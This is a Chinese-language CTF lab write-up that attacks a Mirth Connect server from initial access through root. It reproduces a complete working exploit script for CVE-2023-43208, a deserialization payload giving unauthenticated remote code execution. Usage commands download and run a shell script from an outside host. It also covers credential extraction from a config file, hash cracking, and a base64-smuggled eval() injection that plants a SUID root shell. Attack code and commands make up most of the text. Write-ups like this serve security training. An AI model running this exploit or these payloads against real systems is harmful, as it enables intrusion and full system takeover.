这是一份清晰完整的渗透测试(CTF靶机)实战笔记,记录了从初始访问到提权的完整攻击链路。攻击者首先通过Nmap扫描发现目标运行了 Mirth Connect 服务,并直接利用 CVE-2023-43208 漏洞实现未授权远程代码执行(RCE)获取打点权限 。在后渗透阶段,攻击者通过读取本地配置文件获取数据库凭据,提取出PBKDF2格式的密码哈希,并使用Hashcat成功破解出明文密码。最后,在提权阶段,攻击者分析本地运行的Python脚本(notif.py)时发现了 eval() 函数的格式化字符串注入漏洞。通过巧妙使用Base64编码执行系统命令,成功绕过了极其严格的正则表达式限制,利用XML payload创建了SUID bash,最终顺利拿下Root权限 。
Information Gathering
# Nmap 7.98 scan initiated Mon Feb 23 17:51:26 2026 as: /usr/lib/nmap/nmap -p 22,80,443,6661 -sC -sV -Pn -n -oN scan_results/nmap_details.txt 10.129.90.198
Nmap scan report for 10.129.90.198
Host is up (0.16s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 07:eb:d1:b1:61:9a:6f:38:08:e0:1e:3e:5b:61:03:b9 (ECDSA)
|_ 256 fc:d5:7a:ca:8c:4f:c1:bd:c7:2f:3a:ef:e1:5e:99:0f (ED25519)
80/tcp open http Jetty
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Mirth Connect Administrator
443/tcp open ssl/http Jetty
| http-methods:
|_ Potentially risky methods: TRACE
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mirth-connect
| Not valid before: 2025-09-19T12:50:05
|_Not valid after: 2075-09-19T12:50:05
|_http-title: Mirth Connect Administrator
6661/tcp open Mirth Connect 用于内部通信的专用端口。
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Feb 23 17:54:34 2026 -- 1 IP address (1 host up) scanned in 188.23 seconds
应用程序:Mirth Connect
CVE-2023-43208
版本探测:
➜ Interpreter curl -k -H 'X-Requested-With: OpenAPI' https://10.129.90.198/api/server/version
4.4.0
poc
# Exploit script for CVE-2023-37679 and CVE-2023-43208 affecting Nextgen's Mirth Connect
# Created by Ákos Jakab, based on:
# (1.) https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-MIRTH_CONNECT_CVE_2023_43208-
# (2.) https://www.horizon3.ai/attack-research/attack-blogs/writeup-for-cve-2023-43208-nextgen-mirth-connect-pre-auth-rce/
import argparse
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def generate_payload(command, platform):
if platform.lower() == "win":
cmd = f"cmd.exe /c \"{command}\""
else:
cmd = f"{command}"
xml_payload = f"""
<sorted-set>
<string>ABCD</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
<target class="org.apache.commons.collections4.functors.ChainedTransformer">
<iTransformers>
<org.apache.commons.collections4.functors.ConstantTransformer>
<iConstant class="java-class">java.lang.Runtime</iConstant>
</org.apache.commons.collections4.functors.ConstantTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>getMethod</iMethodName>
<iParamTypes>
<java-class>java.lang.String</java-class>
<java-class>[Ljava.lang.Class;</java-class>
</iParamTypes>
<iArgs>
<string>getRuntime</string>
<java-class-array/>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>invoke</iMethodName>
<iParamTypes>
<java-class>java.lang.Object</java-class>
<java-class>[Ljava.lang.Object;</java-class>
</iParamTypes>
<iArgs>
<null/>
<object-array/>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>exec</iMethodName>
<iParamTypes>
<java-class>java.lang.String</java-class>
</iParamTypes>
<iArgs>
<string>{cmd}</string>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
</iTransformers>
</target>
<methodName>transform</methodName>
<eventTypes>
<string>compareTo</string>
</eventTypes>
</handler>
</dynamic-proxy>
</sorted-set>
"""
return xml_payload
def exploit(target_url, command, platform):
payload = generate_payload(command, platform)
headers = {
'Content-Type': 'application/xml',
'X-Requested-With': 'OpenAPI'
}
try:
response = requests.post(f"{target_url}/api/users", data=payload, headers=headers, verify=False)
if response.status_code == 500:
print("The target appears to have executed the payload.")
else:
print("Failed to execute the payload.")
except requests.exceptions.RequestException as e:
print(f"Request failed: {e}")
def main():
parser = argparse.ArgumentParser(description='Exploit script for CVE-2023-43208.')
parser.add_argument('-c', '--command', required=True, help='Command to execute on the target system.')
parser.add_argument('-u', '--url', required=True, help='Target URL.')
parser.add_argument('-p', '--platform', default='unix', choices=['unix', 'win'], help='Target platform (default: unix).')
args = parser.parse_args()
exploit(args.url, args.command, args.platform)
if __name__ == "__main__":
main()
如何使用:
# 1
python3 CVE-2023-43208.py -c "wget http://10.10.16.83/shell.sh" -u https://10.129.90.198/ -p unix
# 2
python3 CVE-2023-43208.py -c "bash shell.sh" -u https://10.129.90.198/ -p unix
Exploitation (User Flag)
在文件发现
database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod
# database credentials
database.username = mirthdb
database.password = MirthPass123!
连接数据库
mysql -u mirthdb -p'MirthPass123!' -D mc_bdd_prod
在数据库中获取到哈希密码:u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==是PBKDF2-HMAC-SHA256
- 前 8 个字节: 随机生成的 Salt (盐值)。
- 后 32 个字节: 实际经过高频迭代计算出的 Hash (散列值)。
写一个python整理hash
python3 -c "import base64; raw=base64.b64decode('u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w=='); print('sha256:600000:' + base64.b64encode(raw[:8]).decode() + ':' + base64.b64encode(raw[8:]).decode())"
使用hashcat破解sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=
破解得到密码:snowflake1
Privilege Escalation (Root Flag)
运行ss -tulnp发现54321端口运行着/usr/local/bin/notif.py(通过 ps aux | grep -E "python|bash|sh|php|java”)
template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
try:
return eval(f"f'''{template}'''")
这里程序使用了 eval() (Evaluation function - 评估函数)。eval() 会将传入的字符串当作 Python 代码直接运行。
开发者本来只想用它来动态解析 f-string (格式化字符串字面量),以计算患者的年龄 (datetime.now().year - year_of_birth)。但是,如果我们能控制 first、last 等变量,并在其中混入 {},eval() 在解析 f-string 时,就可以执行大括号里包含的任意 Python 代码!
正则表达式过滤
pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
使用了 re.compile() (Regular Expression Compile - 正则表达式编译) 来限定输入字符。它只允许字母、数字和少部分标点符号 (., _, ', ", (, ), {, }, =, +, /)。
这道过滤最绝的地方在于,它直接封杀了:
- 空格 (Space):导致你无法输入普通的 Shell 命令(如
cat /root/root.txt)。 - 短横线 () 和管道符 (
|):导致你无法传入命令行参数(如bash -c)。 - 尖括号 (
<,>):阻止了重定向。
Base64 编码隐写执行就可以了
利用
第一步:制造base64
➜ Interpreter echo 'cp /bin/bash /tmp/rootbash; chmod u+s /tmp/rootbash'|base64
Y3AgL2Jpbi9iYXNoIC90bXAvcm9vdGJhc2g7IGNobW9kIHUrcyAvdG1wL3Jvb3RiYXNoCg==
第二步:构造payload
{__import__('os').popen(__import__('base64').b64decode('Y3AgL2Jpbi9iYXNoIC90bXAvcm9vdGJhc2g7IGNobW9kIHUrcyAvdG1wL3Jvb3RiYXNo').decode()).read()}
第三步:创建xml
cat << 'EOF' > /tmp/payload.xml
<patient>
<firstname>{__import__('os').popen(__import__('base64').b64decode('Y3AgL2Jpbi9iYXNoIC90bXAvcm9vdGJhc2g7IGNobW9kIHUrcyAvdG1wL3Jvb3RiYXNo').decode()).read()}</firstname>
<lastname>a</lastname>
<sender_app>b</sender_app>
<timestamp>c</timestamp>
<birth_date>10/10/2000</birth_date>
<gender>M</gender>
</patient>
EOF
第四步:向该本地服务发送攻击请求
python3 -c 'import urllib.request; req = urllib.request.Request("http://127.0.0.1:54321/addPatient", data=open("/tmp/payload.xml", "rb").read()); print(urllib.request.urlopen(req).read().decode())'
或者
wget --header="Content-Type: application/xml" --post-file=/tmp/payload.xml http://127.0.0.1:54321/addPatient -qO -
第四步:提升
/tmp/rootbash -p